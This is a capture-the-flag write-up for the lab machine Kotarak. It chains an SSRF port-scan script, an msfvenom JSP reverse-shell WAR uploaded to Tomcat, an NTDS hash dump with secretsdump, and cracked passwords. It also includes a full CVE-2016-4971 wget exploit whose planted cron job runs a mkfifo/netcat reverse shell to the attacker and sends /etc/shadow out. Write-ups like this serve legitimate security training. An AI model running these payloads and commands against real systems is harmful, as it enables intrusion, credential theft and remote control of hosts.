Kotarak
Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.55 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Tue Nov 8 16:16:16 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.55
Nmap scan report for 10.10.10.55
Host is up (0.066s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8009/tcp open ajp13
8080/tcp open http-proxy
60000/tcp open unknown
# Nmap done at Tue Nov 8 16:16:30 2022 -- 1 IP address (1 host up) scanned in 13.95 secondsNow that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,8009,8080,60000 10.10.10.55 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Tue Nov 8 16:18:13 2022 as: nmap -sCV -p22,8009,8080,60000 -oN targeted 10.10.10.55
Nmap scan report for 10.10.10.55
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e2d7ca0eb7cb0a51f72e75ea02241774 (RSA)
| 256 e8f1c0d37d9b4373ad373bcbe1648ee9 (ECDSA)
|_ 256 6de926ad86022d68e1ebad66a06017b8 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
| Supported methods: GET HEAD POST PUT DELETE OPTIONS
| Potentially risky methods: PUT DELETE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5 - Error report
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-favicon: Apache Tomcat
60000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Kotarak Web Hosting
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 8 16:19:22 2022 -- 1 IP address (1 host up) scanned in 68.82 secondsWebsite in port 8080 shows an Apache Tomcat application.
But we don't have credentials for the /manager/html administration panel.
The website on port 60000 shows a private web browser. But none of the left buttons work.
If we search anything random, we'll be redirected to the following URL.
http://10.10.10.55:60000/url.php?path=test
We could try to search web services such us the Apache Tomcat available on port 8080.
Exploitation
And it loads! This means that we could try to exploit an SSRF attack.
I wrote the following script in bash which will try to access localhost:$port, and check if the port is open.
#!/bin/bash
function check_port(){
r=$(curl -s "http://10.10.10.55:60000/url.php?path=localhost:"$port)
length=$(echo $r | wc -c)
if [[ length -ne 1 ]];then
echo $port
fi
}
for port in $(seq 1 65535); do
check_port &
doneIf we run the exploit, we'll see that now we can access more ports, such as ports 22, 90, 110, 200, 320, 888, 3306, 8080 or 60000.
bash exploit.sh
22
90
110
200
320
888
3306
8080
60000The only new interesting port seems to be port 888.
If we take a look at the backup file we won't see anything.
http://10.10.10.55:60000/url.php?path=localhost:888/?doc=backup
But, if we check its source code, we'll see the common configuration file for Tomcat, with some credentials.
Trying those credentials in the /manager/html login popup will give us access to the Tomcat manager.
Now, we are able to see the Tomcat Web Application Manager.
Time to get a shell. If we check out the web page, we could see there is a Deploy section in which we can upload WAR files.
At this point, the idea is to create a WAR payload with msfvenom, upload it to the web page, and get a reverse shell.
msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.15 lport=4444 -f war -o reverse_shell.war
-pindicates the type of payload.lhostlocal host IP.lportlocal port of the listener.-foutput format.-osave the output to a file.
All we have to do is upload the payload and hit Deploy.
Under the Application section, a new row should appear with the path of our uploaded payload.
Finally, all we have to do is set a netcat listener on port 4444 and hit the /reverse_shell path.
nc -lvnp 4444
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Listening on 0.0.0.0 4444
Connection received on 10.10.10.55 41688
whoami
tomcatPrivilege Escalation
First, let's set an interactive TTY shell.
python -c 'import pty;pty.spawn("/bin/bash")'
Then I press Ctrl+Z and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
51 236And set the proper dimensions in the victim machine:
stty rows 51 columns 236
As the flag is under the /home/atanas directory, we will have to become the atanas user.
find / -name user.txt 2>/dev/null
/home/atanas/user.txtInside the /home/tomcat directory, there is another one called to_archive, with another one inside called pentest_data, with a few files inside.
ls -l /home/tomcat/to_archive/pentest_data
total 28304
-rw-r--r-- 1 tomcat tomcat 16793600 Jul 21 2017 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
-rw-r--r-- 1 tomcat tomcat 12189696 Jul 21 2017 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.binThese files seem to be an extract of the Windows NTDS database. Let's transfer those to our machine.
python -m SimpleHTTPServer 1234
On our local machine.
wget http://10.10.10.55:1234/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit -O ntds.dit
wget http://10.10.10.55:1234/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin -O ntds.bin
Now, we can extract the NTLM hashes with the secretsdump tool from impacket.
impacket-secretsdump -ntds ntds.dit -system ntds.bin LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:6c53b16d11a496d0535959885ea7c79c04945889028704e2a4d1ca171e4374e2
Administrator:aes128-cts-hmac-sha1-96:e2a25474aa9eb0e1525d0f50233c0274
Administrator:des-cbc-md5:75375eda54757c2f
WIN-3G2B0H151AC$:aes256-cts-hmac-sha1-96:84e3d886fe1a81ed415d36f438c036715fd8c9e67edbd866519a2358f9897233
WIN-3G2B0H151AC$:aes128-cts-hmac-sha1-96:e1a487ca8937b21268e8b3c41c0e4a74
WIN-3G2B0H151AC$:des-cbc-md5:b39dc12a920457d5
WIN-3G2B0H151AC$:rc4_hmac:668d49ebfdb70aeee8bcaeac9e3e66fd
krbtgt:aes256-cts-hmac-sha1-96:14134e1da577c7162acb1e01ea750a9da9b9b717f78d7ca6a5c95febe09b35b8
krbtgt:aes128-cts-hmac-sha1-96:8b96c9c8ea354109b951bfa3f3aa4593
krbtgt:des-cbc-md5:10ef08047a862046
krbtgt:rc4_hmac:ca1ccefcb525db49828fbb9d68298eee
WIN2K8$:aes256-cts-hmac-sha1-96:289dd4c7e01818f179a977fd1e35c0d34b22456b1c8f844f34d11b63168637c5
WIN2K8$:aes128-cts-hmac-sha1-96:deb0ee067658c075ea7eaef27a605908
WIN2K8$:des-cbc-md5:d352a8d3a7a7380b
WIN2K8$:rc4_hmac:160f6c1db2ce0994c19c46a349611487
WINXP1$:aes256-cts-hmac-sha1-96:347a128a1f9a71de4c52b09d94ad374ac173bd644c20d5e76f31b85e43376d14
WINXP1$:aes128-cts-hmac-sha1-96:0e4c937f9f35576756a6001b0af04ded
WINXP1$:des-cbc-md5:984a40d5f4a815f2
WINXP1$:rc4_hmac:6f5e87fd20d1d8753896f6c9cb316279
WIN2K31$:aes256-cts-hmac-sha1-96:f486b86bda928707e327faf7c752cba5bd1fcb42c3483c404be0424f6a5c9f16
WIN2K31$:aes128-cts-hmac-sha1-96:1aae3545508cfda2725c8f9832a1a734
WIN2K31$:des-cbc-md5:4cbf2ad3c4f75b01
WIN2K31$:rc4_hmac:cdd7a7f43d06b3a91705900a592f3772
WIN7$:aes256-cts-hmac-sha1-96:b9921a50152944b5849c706b584f108f9b93127f259b179afc207d2b46de6f42
WIN7$:aes128-cts-hmac-sha1-96:40207f6ef31d6f50065d2f2ddb61a9e7
WIN7$:des-cbc-md5:89a1673723ad9180
WIN7$:rc4_hmac:24473180acbcc5f7d2731abe05cfa88c
atanas:aes256-cts-hmac-sha1-96:933a05beca1abd1a1a47d70b23122c55de2fedfc855d94d543152239dd840ce2
atanas:aes128-cts-hmac-sha1-96:d1db0c62335c9ae2508ee1d23d6efca4
atanas:des-cbc-md5:6b80e391f113542a
[*] Cleaning up...I tried to search those NTLM hashes in rainbow tables such as crackstation, and there were two hashes with the passwords f16tomcat! and Password123!.
Now, we can log in as atanas using the f16tomcat! password. Then, we'll be able to grab the user flag.
su atanas
Password: f16tomcat!
atanas@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ whoami
atanas
atanas@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ cat /home/atanas/user.txt
93f844f50491ef797c9c1b601b4bece8It looks like we can see the content of the /root directory, which has two files.
ls -l /root
total 8
-rw------- 1 atanas root 333 Jul 20 2017 app.log
-rw------- 1 atanas root 66 Aug 29 2017 flag.txtThe flag.txt file is not the root flag we are looking for.
cat flag.txt
Getting closer! But what you are looking for can't be found here.If we check the network interfaces, we'll see that there is one called lxbr0 which seems to be from a container.
ifconfig
eth0 Link encap:Ethernet HWaddr 00:50:56:b9:a0:0e
inet addr:10.10.10.55 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: dead:beef::250:56ff:feb9:a00e/64 Scope:Global
inet6 addr: fe80::250:56ff:feb9:a00e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:35551 errors:0 dropped:0 overruns:0 frame:0
TX packets:73777 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2387519 (2.3 MB) TX bytes:104203150 (104.2 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:9196 errors:0 dropped:0 overruns:0 frame:0
TX packets:9196 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:680692 (680.6 KB) TX bytes:680692 (680.6 KB)
lxcbr0 Link encap:Ethernet HWaddr 00:16:3e:00:00:00
inet addr:10.0.3.1 Bcast:0.0.0.0 Mask:255.255.255.0
inet6 addr: fe80::216:3eff:fe00:0/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:54 errors:0 dropped:0 overruns:0 frame:0
TX packets:53 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3172 (3.1 KB) TX bytes:3580 (3.5 KB)
lxdbr0 Link encap:Ethernet HWaddr 0e:d4:c4:ce:f4:09
inet6 addr: fe80::cd4:c4ff:fece:f409/64 Scope:Link
inet6 addr: fe80::1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:5 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:470 (470.0 B)
veth0MB0V7 Link encap:Ethernet HWaddr fe:bb:d2:96:48:b9
inet6 addr: fe80::fcbb:d2ff:fe96:48b9/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:54 errors:0 dropped:0 overruns:0 frame:0
TX packets:61 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3928 (3.9 KB) TX bytes:4228 (4.2 KB)And the app.log file contains logs from the machine 10.0.3.133 trying to download with Wget/1.16 a file called archive.tar.gz.
cat app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"The machine seems to be active.
ping -c 1 10.0.3.133
PING 10.0.3.133 (10.0.3.133) 56(84) bytes of data.
64 bytes from 10.0.3.133: icmp_seq=1 ttl=64 time=0.075 ms
--- 10.0.3.133 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.075/0.075/0.075/0.000 msIf we try to set a simple HTTP server with python on port 80, we will get a permission denied error.
python -m SimpleHTTPServer 80
...
socket.error: [Errno 13] Permission deniedBut, authbind is available on the machine, and we are able to listen on port 21, and 80.
ls -l /etc/authbind/byport/
total 0
-rwxr-xr-x 1 root atanas 0 Aug 29 2017 21
-rwxr-xr-x 1 root atanas 0 Aug 29 2017 80We can listen on port 80 with authbind. And there seems to be a cron job running the wget command.
authbind nc -lvnp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.3.133] port 80 [tcp/*] accepted (family 2, sport 37666)
GET /archive.tar.gz HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Host: 10.0.3.1
Connection: Keep-AliveNote that the version of wget is 1.16, which is vulnerable to a Remote Command Execution exploit. To get access to the container, first create the directory /tmp/ftptest and access it.
mkdir /tmp/ftptest
cd /tmp/ftptest
Then, create the file .wgetrc with the following content.
cat <<_EOF_>.wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
_EOF_
Now, create the wget-exploit.py script with the following content.
#!/usr/bin/env python
#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#
import SimpleHTTPServer
import SocketServer
import socket;
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
# This takes care of sending .wgetrc
print "We have a volunteer requesting " + self.path + " by GET :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
self.send_response(301)
new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
print "Sending redirect to %s \n"%(new_path)
self.send_header('Location', new_path)
self.end_headers()
def do_POST(self):
# In here we will receive extracted file and install a PoC cronjob
print "We have a volunteer requesting " + self.path + " by POST :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
print "Sending back a cronjob script as a thank-you for the file..."
print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(ROOT_CRON)
print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"
return
HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.10.55'
FTP_PORT = 21
ROOT_CRON = "* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 5555 >/tmp/f \n"
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
print "Ready? Is your FTP server running?"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
print "FTP is down :( Exiting."
exit(1)
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
handler.serve_forever()
Now, start an FTP server with python in the background.
authbind python -m pyftpdlib -p21 -w &
Set a netcat listener on port 5555 on our local machine.
nc -lvnp 5555
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Then, run the wget-exploit.py script on the victim machine.
authbind python wget-exploit.py
Ready? Is your FTP server running?
FTP found open on 10.10.10.55:21. Let's go then
Serving wget exploit on port 80...
We have a volunteer requesting /archive.tar.gz by GET :)
Uploading .wgetrc via ftp redirect vuln. It should land in /root
10.0.3.133 - - [09/Nov/2022 11:08:01] "GET /archive.tar.gz HTTP/1.1" 301 -
Sending redirect to ftp://anonymous@10.10.10.55:21/.wgetrc
We have a volunteer requesting /archive.tar.gz by POST :)
Received POST from wget, this should be the extracted /etc/shadow file:
---[begin]---
root:*:17366:0:99999:7:::
daemon:*:17366:0:99999:7:::
bin:*:17366:0:99999:7:::
sys:*:17366:0:99999:7:::
sync:*:17366:0:99999:7:::
games:*:17366:0:99999:7:::
man:*:17366:0:99999:7:::
lp:*:17366:0:99999:7:::
mail:*:17366:0:99999:7:::
news:*:17366:0:99999:7:::
uucp:*:17366:0:99999:7:::
proxy:*:17366:0:99999:7:::
www-data:*:17366:0:99999:7:::
backup:*:17366:0:99999:7:::
list:*:17366:0:99999:7:::
irc:*:17366:0:99999:7:::
gnats:*:17366:0:99999:7:::
nobody:*:17366:0:99999:7:::
systemd-timesync:*:17366:0:99999:7:::
systemd-network:*:17366:0:99999:7:::
systemd-resolve:*:17366:0:99999:7:::
systemd-bus-proxy:*:17366:0:99999:7:::
syslog:*:17366:0:99999:7:::
_apt:*:17366:0:99999:7:::
sshd:*:17366:0:99999:7:::
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::
---[eof]---
Sending back a cronjob script as a thank-you for the file...
It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)
10.0.3.133 - - [09/Nov/2022 11:10:01] "POST /archive.tar.gz HTTP/1.1" 200 -
File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :)Now, we'll have to wait for a minute until the cron job gets executed, and then we'll get a reverse shell as root in the container machine. Then, all we have to do is reap the harvest and take the root flag.
Listening on 0.0.0.0 5555
Connection received on 10.10.10.55 56798
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
950d1425795dfd38272c93ccbb63ae2cLast updated
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